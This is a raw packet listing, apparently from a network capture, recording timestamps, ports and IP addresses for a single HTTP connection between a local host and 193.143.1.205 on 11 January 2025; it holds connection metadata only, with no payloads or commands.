Jan 11, 2025 08:15:44.536994934 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.537055969 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.537089109 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.574379921 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.574444056 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.574480057 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.574497938 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.574623108 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.574656963 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.574686050 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.574691057 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.574728012 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.574731112 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.574783087 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.574817896 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.574827909 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.575021982 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.575057030 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.575062037 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.575092077 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.575129032 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.575135946 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.575161934 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.575202942 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.575247049 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.575282097 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.575333118 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.575335026 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.575370073 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.575412989 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.575488091 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.575517893 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.575558901 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.612365007 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.612422943 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.612457991 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.612487078 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.612540007 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.612575054 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.612597942 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.612608910 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.612652063 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.612729073 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.612763882 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.612797976 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.612808943 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.612832069 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.612864971 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.612876892 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.612934113 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.612963915 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.612998009 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.613032103 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.613215923 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.613223076 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.613250017 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.613270044 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.613285065 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.613318920 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.613327980 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.613354921 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.613399029 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.613528967 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.613563061 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.613601923 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.613609076 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.613637924 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.613679886 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.613884926 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.613936901 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.613972902 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614006996 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614042044 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614077091 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614094019 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.614110947 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614130020 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.614145041 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614181995 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614192963 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.614504099 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614537954 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614552021 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.614573956 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614609003 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614618063 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.614644051 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614677906 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614712000 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614981890 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.614988089 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.615036011 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.615072012 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.615084887 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.615106106 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.615139961 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.615149975 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.615174055 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.615209103 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.615220070 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.615242958 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.615283012 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.615292072 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.615341902 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.615381002 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.615386009 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.615415096 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.615451097 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.615458012 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.616550922 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.616590023 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.616621017 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.616625071 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.616661072 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.616671085 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.616694927 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.616734028 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.616744041 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.617423058 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.617482901 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.617501020 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.617517948 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.617563009 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.617604017 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.617640018 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.617675066 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.617683887 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.617711067 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.617760897 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.617827892 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.617865086 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.617901087 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.617908001 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.617935896 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.617980003 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.618021011 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618061066 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618105888 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.618189096 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618226051 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618263960 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618269920 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.618294954 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618336916 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.618415117 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618449926 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618489027 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618496895 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.618525982 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618561029 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618570089 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.618597984 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618640900 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.618778944 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618813992 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618849039 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618855953 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.618884087 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618918896 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618926048 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.618953943 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618988991 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.618999958 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.619023085 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.619057894 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.619067907 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.619193077 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.619226933 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.619262934 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.619369030 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.619434118 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.619469881 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.619505882 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.619520903 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.619540930 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.619580984 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.650765896 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.665184975 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665257931 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665297031 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665309906 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.665330887 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665369987 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665378094 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.665421963 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665460110 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665463924 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.665498018 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665533066 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665548086 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.665568113 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665602922 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665611982 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.665834904 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665868998 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665880919 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.665904045 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665939093 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.665951014 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.665973902 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.666007996 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.666016102 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.666153908 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.666188002 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.666201115 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.666220903 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.666254044 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.666265011 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.666289091 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.666336060 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.667618036 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.703027010 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703075886 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703111887 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703147888 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703151941 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.703183889 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703201056 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.703341007 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703382015 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703386068 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.703478098 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703515053 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703524113 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.703551054 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703584909 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703598022 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.703619957 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703654051 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703663111 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.703880072 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703915119 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703929901 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.703952074 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703988075 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.703995943 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.704021931 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.704058886 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.704091072 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.704348087 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.704382896 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.704392910 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.704418898 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.704447985 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.704463005 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.704482079 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.704516888 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.704526901 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.704551935 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.704586983 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.704592943 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.704623938 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.704668045 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.704947948 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.704982042 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.705015898 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.705029964 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.705050945 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.705085039 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.705096006 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.705118895 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.705154896 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.705182076 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.705188036 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.705224037 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.705235958 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.705260038 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.705295086 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.705305099 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.705327988 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.705365896 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.705372095 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.705401897 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.705457926 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.706096888 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706132889 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706167936 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706182957 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.706202984 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706238031 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706249952 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.706273079 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706306934 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706316948 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.706343889 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706377029 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706383944 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.706413031 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706449032 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706456900 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.706484079 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706518888 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706527948 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.706912994 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706948996 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.706959009 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.706983089 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707017899 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707026958 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.707051992 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707086086 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707092047 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.707115889 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707150936 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707156897 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.707185030 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707220078 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707228899 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.707254887 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707288980 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707304001 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.707353115 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707389116 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707397938 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.707854986 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707890987 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707905054 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.707926035 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707961082 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.707967997 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.707995892 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.708030939 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.708040953 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.708065987 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.708102942 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.708115101 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.708144903 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.708178997 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.708184958 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.708213091 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.708247900 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.708254099 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.708281994 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.708317041 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.708331108 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.708681107 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.708715916 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.708718061 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.716072083 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.740943909 CET	80	60852	193.143.1.205	192.168.2.6
